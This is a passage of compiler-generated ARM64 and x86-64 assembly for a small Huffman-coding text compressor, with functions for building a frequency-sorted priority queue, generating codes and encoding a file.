l_.str.12@PAGE add x2, x2, l_.str.12@PAGEOFF bl _getopt str w0, [sp, #88] adds w8, w0, #1 cset w8, eq tbnz w8, #0, LBB11_9 b LBB11_2 LBB11_2: ; in Loop: Header=BB11_1 Depth=1 ldr w8, [sp, #88] str w8, [sp, #36] ; 4-byte Folded Spill subs w8, w8, #104 cset w8, eq tbnz w8, #0, LBB11_5 b LBB11_3 LBB11_3: ; in Loop: Header=BB11_1 Depth=1 ldr w8, [sp, #36] ; 4-byte Folded Reload subs w8, w8, #105 cset w8, eq tbnz w8, #0, LBB11_6 b LBB11_4 LBB11_4: ; in Loop: Header=BB11_1 Depth=1 ldr w8, [sp, #36] ; 4-byte Folded Reload subs w8, w8, #111 cset w8, eq tbnz w8, #0, LBB11_7 b LBB11_8 LBB11_5: ; in Loop: Header=BB11_1 Depth=1 bl _usage b LBB11_8 LBB11_6: ; in Loop: Header=BB11_1 Depth=1 adrp x8, _optarg@GOTPAGE ldr x8, [x8, _optarg@GOTPAGEOFF] ldr x8, [x8] str x8, [sp, #64] ldr x8, [sp, #64] mov x9, sp str x8, [x9] adrp x0, l_.str.13@PAGE add x0, x0, l_.str.13@PAGEOFF bl _printf b LBB11_8 LBB11_7: ; in Loop: Header=BB11_1 Depth=1 adrp x8, _optarg@GOTPAGE ldr x8, [x8, _optarg@GOTPAGEOFF] ldr x8, [x8] str x8, [sp, #56] ldr x8, [sp, #56] mov x9, sp str x8, [x9] adrp x0, l_.str.14@PAGE add x0, x0, l_.str.14@PAGEOFF bl _printf b LBB11_8 LBB11_8: ; in Loop: Header=BB11_1 Depth=1 b LBB11_1 LBB11_9: ldr x8, [sp, #64] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB11_11 b LBB11_10 LBB11_10: adrp x0, l_.str.15@PAGE add x0, x0, l_.str.15@PAGEOFF bl _printf bl _usage mov w0, #1 bl _exit LBB11_11: ldr x0, [sp, #64] adrp x1, l_.str.16@PAGE add x1, x1, l_.str.16@PAGEOFF bl _fopen str x0, [sp, #48] ldr x0, [sp, #48] add x1, sp, #140 bl _parse_file ldr x0, [sp, #48] bl _fclose adrp x8, _qhead@PAGE ; kill: def $x9 killed $xzr str xzr, [x8, _qhead@PAGEOFF] str wzr, [sp, #92] b LBB11_12 LBB11_12: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #92] subs w8, w8, #255 cset w8, ge tbnz w8, #0, LBB11_17 b LBB11_13 LBB11_13: ; in Loop: Header=BB11_12 Depth=1 ldrsw x9, [sp, #92] add x8, sp, #140 ldr s0, [x8, x9, lsl #2] fcmp s0, #0.0 cset w8, eq tbnz w8, #0, LBB11_15 b LBB11_14 LBB11_14: ; in Loop: Header=BB11_12 Depth=1 ldr w0, [sp, #92] ldrsw x9, [sp, #92] add x8, sp, #140 ldr s0, [x8, x9, lsl #2] bl _talloc bl _pq_insert ldr w8, [sp, #84] add w8, w8, #1 str w8, [sp, #84] b LBB11_15 LBB11_15: ; in Loop: Header=BB11_12 Depth=1 b LBB11_16 LBB11_16: ; in Loop: Header=BB11_12 Depth=1 ldr w8, [sp, #92] add w8, w8, #1 str w8, [sp, #92] b LBB11_12 LBB11_17: str wzr, [sp, #92] b LBB11_18 LBB11_18: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #92] ldr w9, [sp, #84] subs w9, w9, #1 subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB11_21 b LBB11_19 LBB11_19: ; in Loop: Header=BB11_18 Depth=1 bl _pq_pop str x0, [sp, #104] bl _pq_pop str x0, [sp, #96] ldr x8, [sp, #104] ldr s0, [x8, #32] ldr x8, [sp, #96] ldr s1, [x8, #32] fadd s0, s0, s1 mov w0, #0 bl _talloc str x0, [sp, #112] ldr x8, [sp, #112] ldr x9, [sp, #96] str x8, [x9, #16] ldr x9, [sp, #104] str x8, [x9, #16] ldr x8, [sp, #96] ldr x9, [sp, #112] str x8, [x9, #8] ldr x8, [sp, #104] ldr x9, [sp, #112] str x8, [x9] ldr x8, [sp, #112] str wzr, [x8, #36] ldr x0, [sp, #112] bl _pq_insert b LBB11_20 LBB11_20: ; in Loop: Header=BB11_18 Depth=1 ldr w8, [sp, #92] add w8, w8, #1 str w8, [sp, #92] b LBB11_18 LBB11_21: bl _pq_pop adrp x8, _root@PAGE str x0, [x8, _root@PAGEOFF] ldr x8, [x8, _root@PAGEOFF] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB11_23 b LBB11_22 LBB11_22: adrp x0, l_.str.17@PAGE add x0, x0, l_.str.17@PAGEOFF bl _printf mov w0, #1 bl _exit LBB11_23: adrp x8, _root@PAGE str x8, [sp, #24] ; 8-byte Folded Spill ldr x0, [x8, _root@PAGEOFF] mov w1, #0 bl _generate_code adrp x0, l_.str.18@PAGE add x0, x0, l_.str.18@PAGEOFF bl _puts ldr x0, [sp, #72] adrp x1, l_.str.19@PAGE add x1, x1, l_.str.19@PAGEOFF str x1, [sp, #16] ; 8-byte Folded Spill bl _fopen str x0, [sp, #40] adrp x8, ___stdoutp@GOTPAGE ldr x8, [x8, ___stdoutp@GOTPAGEOFF] ldr x0, [x8] bl _dump_code ldr x0, [sp, #40] bl _dump_code ldr x0, [sp, #40] bl _fclose ldr x1, [sp, #16] ; 8-byte Folded Reload ldr x0, [sp, #56] bl _fopen str x0, [sp, #40] ldr x0, [sp, #64] adrp x1, l_.str.16@PAGE add x1, x1, l_.str.16@PAGEOFF bl _fopen str x0, [sp, #48] ldr x0, [sp, #48] ldr x1, [sp, #40] bl _encode_fp ldr x0, [sp, #40] bl _fclose bl _getchar ldr x8, [sp, #24] ; 8-byte Folded Reload ldr x0, [x8, _root@PAGEOFF] bl _cleanall ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB11_25 b LBB11_24 LBB11_24: bl ___stack_chk_fail LBB11_25: mov w0, #0 add sp, sp, #1168 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _root ; @root .zerofill __DATA,__common,_root,8,3 .globl _qhead ; @qhead .zerofill __DATA,__common,_qhead,8,3 .globl _chead ; @chead .zerofill __DATA,__common,_chead,8,3 .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "list:" l_.str.1: ; @.str.1 .asciz "(%c,%f) " l_.str.2: ; @.str.2 .asciz "\n" l_.str.3: ; @.str.3 .asciz "Found %c, %lu times\n" l_.str.4: ; @.str.4 .asciz "inserting:%c,%f\n" l_.str.5: ; @.str.5 .asciz "popped:%c,%f\n" l_.str.6: ; @.str.6 .asciz "Too deep. Limit is %d" .comm _code,5100,0 ; @code l_.str.7: ; @.str.7 .asciz "built code:%c,%s\n" l_.str.8: ; @.str.8 .asciz "<tag>%c</tag>,%s\n" l_.str.9: ; @.str.9 .asciz "%s" l_.str.10: ; @.str.10 .asciz "Usage for encoder:: encode -i FILENAME -o FILENAME -i FILENAME, input filename for txt file to compress -o FILENAME, output filename for txt file to compress " l_.str.11: ; @.str.11 .asciz "code.txt" l_.str.12: ; @.str.12 .asciz "i:o:h" l_.str.13: ; @.str.13 .asciz "Filename:: %s\n" l_.str.14: ; @.str.14 .asciz "Compressed file:: %s\n" l_.str.15: ; @.str.15 .asciz "Error! Input file must be provided by user.\n" l_.str.16: ; @.str.16 .asciz "r" l_.str.17: ; @.str.17 .asciz "Error! tree could not be created\n" l_.str.18: ; @.str.18 .asciz "code:" l_.str.19: ; @.str.19 .asciz "w" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _talloc ## -- Begin function talloc .p2align 4, 0x90 _talloc: ## @talloc .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -4(%rbp) movss %xmm0, -8(%rbp) movl $48, %edi callq _malloc movq %rax, -16(%rbp) cmpq $0, -16(%rbp) je LBB0_2 ## %bb.1: movq -16(%rbp), %rax movq $0, 24(%rax) movq -16(%rbp), %rax movq $0, 16(%rax) movq -16(%rbp), %rax movq $0, 8(%rax) movq -16(%rbp), %rax movq $0, (%rax) movl -4(%rbp), %eax movb %al, %cl movq -16(%rbp), %rax movb %cl, 40(%rax) movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movq -16(%rbp), %rax movss %xmm0, 32(%rax) movq -16(%rbp), %rax movl $1, 36(%rax) LBB0_2: movq -16(%rbp), %rax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _pq_display ## -- Begin function pq_display .p2align 4, 0x90 _pq_display: ## @pq_display .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq $0, -16(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf movq -8(%rbp), %rax movq %rax, -16(%rbp) LBB1_1: ## =>This Inner Loop Header: Depth=1 cmpq $0, -16(%rbp) je LBB1_4 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 movq -16(%rbp), %rax movsbl 40(%rax), %esi movq -16(%rbp), %rax movss 32(%rax), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.1(%rip), %rdi movb $1, %al callq _printf ## %bb.3: ## in Loop: Header=BB1_1 Depth=1 movq -16(%rbp), %rax movq 24(%rax), %rax movq %rax, -16(%rbp) jmp LBB1_1 LBB1_4: leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _parse_file ## -- Begin function parse_file .p2align 4, 0x90 _parse_file: ## @parse_file .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $2112, %rsp ## imm = 0x840 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movq %rdi, -2056(%rbp) movq %rsi, -2064(%rbp) movq $0, -2072(%rbp) leaq -2048(%rbp), %rdi xorl %esi, %esi movl $2040, %edx ## imm = 0x7F8 callq _memset LBB2_1: ## =>This Inner Loop Header: Depth=1 movq -2056(%rbp), %rdi callq _fgetc ## kill: def $al killed $al killed $eax movb %al, -2073(%rbp) movsbl %al, %eax cmpl $-1, %eax je LBB2_3 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movsbq -2073(%rbp), %rax movq -2048(%rbp,%rax,8), %rcx addq $1, %rcx movq %rcx, -2048(%rbp,%rax,8) movq -2072(%rbp), %rax addq $1, %rax movq %rax, -2072(%rbp) movsbl -2073(%rbp), %esi movsbl -2073(%rbp), %eax subl $97, %eax cltq movq -2048(%rbp,%rax,8), %rdx leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf jmp LBB2_1 LBB2_3: movl $0, -2080(%rbp) LBB2_4: ## =>This Inner Loop Header: Depth=1 cmpl $255, -2080(%rbp) jge LBB2_7 ## %bb.5: ## in Loop: Header=BB2_4 Depth=1 movslq -2080(%rbp), %rax movq -2048(%rbp,%rax,8), %rax movq %rax, %rdx shrq %rdx movl %eax, %ecx andl $1, %ecx ## kill: def $rcx killed $ecx orq %rdx, %rcx cvtsi2ss %rcx, %xmm0 addss %xmm0, %xmm0 cvtsi2ss %rax, %xmm1 movss %xmm1, -2088(%rbp) ## 4-byte Spill testq %rax, %rax movss %xmm0, -2084(%rbp) ## 4-byte Spill js LBB2_11 ## %bb.10: ## in Loop: Header=BB2_4 Depth=1 movss -2088(%rbp), %xmm0 ## 4-byte Reload ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -2084(%rbp) ## 4-byte Spill LBB2_11: ## in Loop: Header=BB2_4 Depth=1 movss -2084(%rbp), %xmm0 ## 4-byte Reload ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -2100(%rbp) ## 4-byte Spill movq -2072(%rbp), %rax movq %rax, %rdx shrq %rdx movl %eax, %ecx andl $1, %ecx ## kill: def $rcx killed $ecx orq %rdx, %rcx cvtsi2ss %rcx, %xmm0 addss %xmm0, %xmm0 cvtsi2ss %rax, %xmm1 movss %xmm1, -2096(%rbp) ## 4-byte Spill testq %rax, %rax movss %xmm0, -2092(%rbp) ## 4-byte Spill js LBB2_13 ## %bb.12: ## in Loop: Header=BB2_4 Depth=1 movss -2096(%rbp), %xmm0 ## 4-byte Reload ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -2092(%rbp) ## 4-byte Spill LBB2_13: ## in Loop: Header=BB2_4 Depth=1 movss -2100(%rbp), %xmm0 ## 4-byte Reload ## xmm0 = mem[0],zero,zero,zero movss -2092(%rbp), %xmm1 ## 4-byte Reload ## xmm1 = mem[0],zero,zero,zero divss %xmm1, %xmm0 movq -2064(%rbp), %rax movslq -2080(%rbp), %rcx movss %xmm0, (%rax,%rcx,4) ## %bb.6: ## in Loop: Header=BB2_4 Depth=1 movl -2080(%rbp), %eax addl $1, %eax movl %eax, -2080(%rbp) jmp LBB2_4 LBB2_7: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB2_9 ## %bb.8: addq $2112, %rsp ## imm = 0x840 popq %rbp retq LBB2_9: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _pq_insert ## -- Begin function pq_insert .p2align 4, 0x90 _pq_insert: ## @pq_insert .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq $0, -16(%rbp) movq $0, -24(%rbp) movq -8(%rbp), %rax movsbl 40(%rax), %esi movq -8(%rbp), %rax movss 32(%rax), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.4(%rip), %rdi movb $1, %al callq _printf cmpq $0, _qhead(%rip) jne LBB3_2 ## %bb.1: movq -8(%rbp), %rax movq %rax, _qhead(%rip) jmp LBB3_11 LBB3_2: movq _qhead(%rip), %rax movq %rax, -16(%rbp) LBB3_3: ## =>This Inner Loop Header: Depth=1 cmpq $0, -16(%rbp) je LBB3_10 ## %bb.4: ## in Loop: Header=BB3_3 Depth=1 movq -16(%rbp), %rax movss 32(%rax), %xmm0 ## xmm0 = mem[0],zero,zero,zero movq -8(%rbp), %rax ucomiss 32(%rax), %xmm0 jbe LBB3_8 ## %bb.5: cmpq $0, -24(%rbp) je LBB3_7 ## %bb.6: movq -8(%rbp), %rcx movq -24(%rbp), %rax movq %rcx, 24(%rax) movq -16(%rbp), %rcx movq -8(%rbp), %rax movq %rcx, 24(%rax) jmp LBB3_11 LBB3_7: movq -8(%rbp), %rax movq %rax, _qhead(%rip) movq -16(%rbp), %rcx movq -8(%rbp), %rax movq %rcx, 24(%rax) jmp LBB3_11 LBB3_8: ## in Loop: Header=BB3_3 Depth=1 movq -16(%rbp), %rax movq %rax, -24(%rbp) ## %bb.9: ## in Loop: Header=BB3_3 Depth=1 movq -16(%rbp), %rax movq 24(%rax), %rax movq %rax, -16(%rbp) jmp LBB3_3 LBB3_10: movq -8(%rbp), %rcx movq -24(%rbp), %rax movq %rcx, 24(%rax) LBB3_11: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _pq_pop ## -- Begin function pq_pop .p2align 4, 0x90 _pq_pop: ## @pq_pop .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq $0, -8(%rbp) cmpq $0, _qhead(%rip) je LBB4_2 ## %bb.1: movq _qhead(%rip), %rax movq %rax, -8(%rbp) movq _qhead(%rip), %rax movq 24(%rax), %rax movq %rax, _qhead(%rip) movq -8(%rbp), %rax movsbl 40(%rax), %esi movq -8(%rbp), %rax movss 32(%rax), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.5(%rip), %rdi movb $1, %al callq _printf LBB4_2: movq -8(%rbp), %rax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _generate_code ## -- Begin function generate_code .p2align 4, 0x90 _generate_code: ## @generate_code .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movq $0, -32(%rbp) movq -8(%rbp), %rax movq %rax, -40(%rbp) movq -8(%rbp), %rax cmpl $0, 36(%rax) je LBB5_14 ## %bb.1: movq -8(%rbp), %rax movb 40(%rax), %al movb %al, -13(%rbp) movl -12(%rbp), %eax movl %eax, -20(%rbp) cmpl $20, -12(%rbp) jle LBB5_3 ## %bb.2: leaq L_.str.6(%rip), %rdi xorl %eax, %eax ## kill: def $al killed $al killed $eax movl $20, %esi callq _printf movl $1, %edi callq _exit LBB5_3: movsbq -13(%rbp), %rcx movq _code@GOTPCREL(%rip), %rax imulq $20, %rcx, %rcx addq %rcx, %rax movslq -20(%rbp), %rcx movb $0, (%rax,%rcx) movq -8(%rbp), %rax movq 16(%rax), %rax movq %rax, -32(%rbp) LBB5_4: ## =>This Inner Loop Header: Depth=1 cmpq $0, -32(%rbp) je LBB5_13 ## %bb.5: ## in Loop: Header=BB5_4 Depth=1 movl -20(%rbp), %eax addl $-1, %eax movl %eax, -20(%rbp) movq -40(%rbp), %rax movq -32(%rbp), %rcx cmpq 8(%rcx), %rax jne LBB5_7 ## %bb.6: ## in Loop: Header=BB5_4 Depth=1 movsbq -13(%rbp), %rcx movq _code@GOTPCREL(%rip), %rax imulq $20, %rcx, %rcx addq %rcx, %rax movslq -20(%rbp), %rcx movb $49, (%rax,%rcx) jmp LBB5_11 LBB5_7: ## in Loop: Header=BB5_4 Depth=1 movq -40(%rbp), %rax movq -32(%rbp), %rcx cmpq (%rcx), %rax jne LBB5_9 ## %bb.8: ## in Loop: Header=BB5_4 Depth=1 movsbq -13(%rbp), %rcx movq _code@GOTPCREL(%rip), %rax imulq $20, %rcx, %rcx addq %rcx, %rax movslq -20(%rbp), %rcx movb $48, (%rax,%rcx) jmp LBB5_10 LBB5_9: movl $1, %edi callq _exit LBB5_10: ## in Loop: Header=BB5_4 Depth=1 jmp LBB5_11 LBB5_11: ## in Loop: Header=BB5_4 Depth=1 movq -32(%rbp), %rax movq %rax, -40(%rbp) ## %bb.12: ## in Loop: Header=BB5_4 Depth=1 movq -32(%rbp), %rax movq 16(%rax), %rax movq %rax, -32(%rbp) jmp LBB5_4 LBB5_13: movsbl -13(%rbp), %esi movsbq -13(%rbp), %rax movq _code@GOTPCREL(%rip), %rdx imulq $20, %rax, %rax addq %rax, %rdx leaq L_.str.7(%rip), %rdi movb $0, %al callq _printf jmp LBB5_15 LBB5_14: movq -8(%rbp), %rax movq (%rax), %rdi movl -12(%rbp), %esi addl $1, %esi callq _generate_code movq -8(%rbp), %rax movq 8(%rax), %rdi movl -12(%rbp), %esi addl $1, %esi callq _generate_code LBB5_15: addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _dump_code ## -- Begin function dump_code .p2align 4, 0x90 _dump_code: ## @dump_code .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movl $0, -12(%rbp) movl $0, -12(%rbp) LBB6_1: ## =>This Inner Loop Header: Depth=1 cmpl $255, -12(%rbp) jge LBB6_6 ## %bb.2: ## in Loop: Header=BB6_1 Depth=1 movslq -12(%rbp), %rcx movq _code@GOTPCREL(%rip), %rax imulq $20, %rcx, %rcx addq %rcx, %rax cmpb $0, (%rax) je LBB6_4 ## %bb.3: ## in Loop: Header=BB6_1 Depth=1 movq -8(%rbp), %rdi movl -12(%rbp), %edx movslq -12(%rbp), %rax movq _code@GOTPCREL(%rip), %rcx imulq $20, %rax, %rax addq %rax, %rcx leaq L_.str.8(%rip), %rsi movb $0, %al callq _fprintf LBB6_4: ## in Loop: Header=BB6_1 Depth=1 jmp LBB6_5 LBB6_5: ## in Loop: Header=BB6_1 Depth=1 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB6_1 LBB6_6: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _encode_fp ## -- Begin function encode_fp .p2align 4, 0x90 _encode_fp: ## @encode_fp .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) LBB7_1: ## =>This Inner Loop Header: Depth=1 movq -8(%rbp), %rdi callq _fgetc ## kill: def $al killed $al killed $eax movb %al, -17(%rbp) movsbl %al, %eax cmpl $-1, %eax je LBB7_3 ## %bb.2: ## in Loop: Header=BB7_1 Depth=1 movq -16(%rbp), %rdi movsbq -17(%rbp), %rax movq _code@GOTPCREL(%rip), %rdx imulq $20, %rax, %rax addq %rax, %rdx leaq L_.str.9(%rip), %rsi movb $0, %al callq _fprintf jmp LBB7_1 LBB7_3: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _encode ## -- Begin function encode .p2align 4, 0x90 _encode: ## @encode .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) LBB8_1: ## =>This Inner Loop Header: Depth=1 movq -8(%rbp), %rax cmpb $0, (%rax) je LBB8_3 ## %bb.2: ## in Loop: Header=BB8_1 Depth=1 movq -16(%rbp), %rdi movq -8(%rbp), %rax movsbq (%rax), %rax movq _code@GOTPCREL(%rip), %rdx imulq $20, %rax, %rax addq %rax, %rdx leaq L_.str.9(%rip), %rsi movb $0, %al callq _fprintf movq -8(%rbp), %rax addq $1, %rax movq %rax, -8(%rbp) jmp LBB8_1 LBB8_3: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _cleanall ## -- Begin function cleanall .p2align 4, 0x90 _cleanall: ## @cleanall .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rax cmpl $0, 36(%rax) je LBB9_2 ## %bb.1: movq -8(%rbp), %rdi callq _free jmp LBB9_3 LBB9_2: movq -8(%rbp), %rax movq 8(%rax), %rdi callq _cleanall movq -8(%rbp), %rax movq (%rax), %rdi callq _cleanall movq -8(%rbp), %rdi callq _free LBB9_3: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _usage ## -- Begin function usage .p2align 4, 0x90 _usage: ## @usage .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp leaq L_.str.10(%rip), %rdi movb $0, %al callq _printf popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $1152, %rsp ## imm = 0x480 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -1044(%rbp) movl %edi, -1048(%rbp) movq %rsi, -1056(%rbp) movq $0, -1064(%rbp) movl $0, -1084(%rbp) movl $0, -1092(%rbp) leaq L_.str.11(%rip), %rax movq %rax, -1104(%rbp) movq $0, -1128(%rbp) movq $0, -1136(%rbp) movq _code@GOTPCREL(%rip), %rdi xorl %esi, %esi movl $5100, %edx ## imm = 0x13EC callq _memset leaq -1040(%rbp), %rdi xorl %esi, %esi movl $1020, %edx ## imm = 0x3FC callq _memset LBB11_1: ## =>This Inner Loop Header: Depth=1 movl -1048(%rbp), %edi movq -1056(%rbp), %rsi leaq L_.str.12(%rip), %rdx callq _getopt movl %eax, -1088(%rbp) cmpl $-1, %eax je LBB11_7 ## %bb.2: ## in Loop: Header=BB11_1 Depth=1 movl -1088(%rbp), %eax movl %eax, -1140(%rbp) ## 4-byte Spill subl $104, %eax je LBB11_3 jmp LBB11_24 LBB11_24: ## in Loop: Header=BB11_1 Depth=1 movl -1140(%rbp), %eax ## 4-byte Reload subl $105, %eax je LBB11_4 jmp LBB11_25 LBB11_25: ## in Loop: Header=BB11_1 Depth=1 movl -1140(%rbp), %eax ## 4-byte Reload subl $111, %eax je LBB11_5 jmp LBB11_6 LBB11_3: ## in Loop: Header=BB11_1 Depth=1 callq _usage jmp LBB11_6 LBB11_4: ## in Loop: Header=BB11_1 Depth=1 movq _optarg@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -1112(%rbp) movq -1112(%rbp), %rsi leaq L_.str.13(%rip), %rdi movb $0, %al callq _printf jmp LBB11_6 LBB11_5: ## in Loop: Header=BB11_1 Depth=1 movq _optarg@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -1120(%rbp) movq -1120(%rbp), %rsi leaq L_.str.14(%rip), %rdi movb $0, %al callq _printf LBB11_6: ## in Loop: Header=BB11_1 Depth=1 jmp LBB11_1 LBB11_7: cmpq $0, -1112(%rbp) jne LBB11_9 ## %bb.8: leaq L_.str.15(%rip), %rdi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _printf callq _usage movl $1, %edi callq _exit LBB11_9: movq -1112(%rbp), %rdi leaq L_.str.16(%rip), %rsi callq _fopen movq %rax, -1128(%rbp) movq -1128(%rbp), %rdi leaq -1040(%rbp), %rsi callq _parse_file movq -1128(%rbp), %rdi callq _fclose movq $0, _qhead(%rip) movl $0, -1084(%rbp) LBB11_10: ## =>This Inner Loop Header: Depth=1 cmpl $255, -1084(%rbp) jge LBB11_15 ## %bb.11: ## in Loop: Header=BB11_10 Depth=1 movslq -1084(%rbp), %rax movss -1040(%rbp,%rax,4), %xmm0 ## xmm0 = mem[0],zero,zero,zero xorps %xmm1, %xmm1 ucomiss %xmm1, %xmm0 jne LBB11_12 jp LBB11_12 jmp LBB11_13 LBB11_12: ## in Loop: Header=BB11_10 Depth=1 movl -1084(%rbp), %edi movslq -1084(%rbp), %rax movss -1040(%rbp,%rax,4), %xmm0 ## xmm0 = mem[0],zero,zero,zero callq _talloc movq %rax, %rdi callq _pq_insert movl -1092(%rbp), %eax addl $1, %eax movl %eax, -1092(%rbp) LBB11_13: ## in Loop: Header=BB11_10 Depth=1 jmp LBB11_14 LBB11_14: ## in Loop: Header=BB11_10 Depth=1 movl -1084(%rbp), %eax addl $1, %eax movl %eax, -1084(%rbp) jmp LBB11_10 LBB11_15: movl $0, -1084(%rbp) LBB11_16: ## =>This Inner Loop Header: Depth=1 movl -1084(%rbp), %eax movl -1092(%rbp), %ecx subl $1, %ecx cmpl %ecx, %eax jge LBB11_19 ## %bb.17: ## in Loop: Header=BB11_16 Depth=1 callq _pq_pop movq %rax, -1072(%rbp) callq _pq_pop movq %rax, -1080(%rbp) movq -1072(%rbp), %rax movss 32(%rax), %xmm0 ## xmm0 = mem[0],zero,zero,zero movq -1080(%rbp), %rax addss 32(%rax), %xmm0 xorl %edi, %edi callq _talloc movq %rax, -1064(%rbp) movq -1064(%rbp), %rcx movq -1080(%rbp), %rax movq %rcx, 16(%rax) movq -1072(%rbp), %rax movq %rcx, 16(%rax) movq -1080(%rbp), %rcx movq -1064(%rbp), %rax movq %rcx, 8(%rax) movq -1072(%rbp), %rcx movq -1064(%rbp), %rax movq %rcx, (%rax) movq -1064(%rbp), %rax movl $0, 36(%rax) movq -1064(%rbp), %rdi callq _pq_insert ## %bb.18: ## in Loop: Header=BB11_16 Depth=1 movl -1084(%rbp), %eax addl $1, %eax movl %eax, -1084(%rbp) jmp LBB11_16 LBB11_19: callq _pq_pop movq %rax, _root(%rip) cmpq $0, _root(%rip) jne LBB11_21 ## %bb.20: leaq L_.str.17(%rip), %rdi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _printf movl $1, %edi callq _exit LBB11_21: movq _root(%rip), %rdi xorl %esi, %esi callq _generate_code leaq L_.str.18(%rip), %rdi callq _puts movq -1104(%rbp), %rdi leaq L_.str.19(%rip), %rsi callq _fopen movq %rax, -1136(%rbp) movq ___stdoutp@GOTPCREL(%rip), %rax movq (%rax), %rdi callq _dump_code movq -1136(%rbp), %rdi callq _dump_code movq -1136(%rbp), %rdi callq _fclose movq -1120(%rbp), %rdi leaq L_.str.19(%rip), %rsi callq _fopen movq %rax, -1136(%rbp) movq -1112(%rbp), %rdi leaq L_.str.16(%rip), %rsi callq _fopen movq %rax, -1128(%rbp) movq -1128(%rbp), %rdi movq -1136(%rbp), %rsi callq _encode_fp movq -1136(%rbp), %rdi callq _fclose callq _getchar movq _root(%rip), %rdi callq _cleanall movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB11_23 ## %bb.22: xorl %eax, %eax addq $1152, %rsp ## imm = 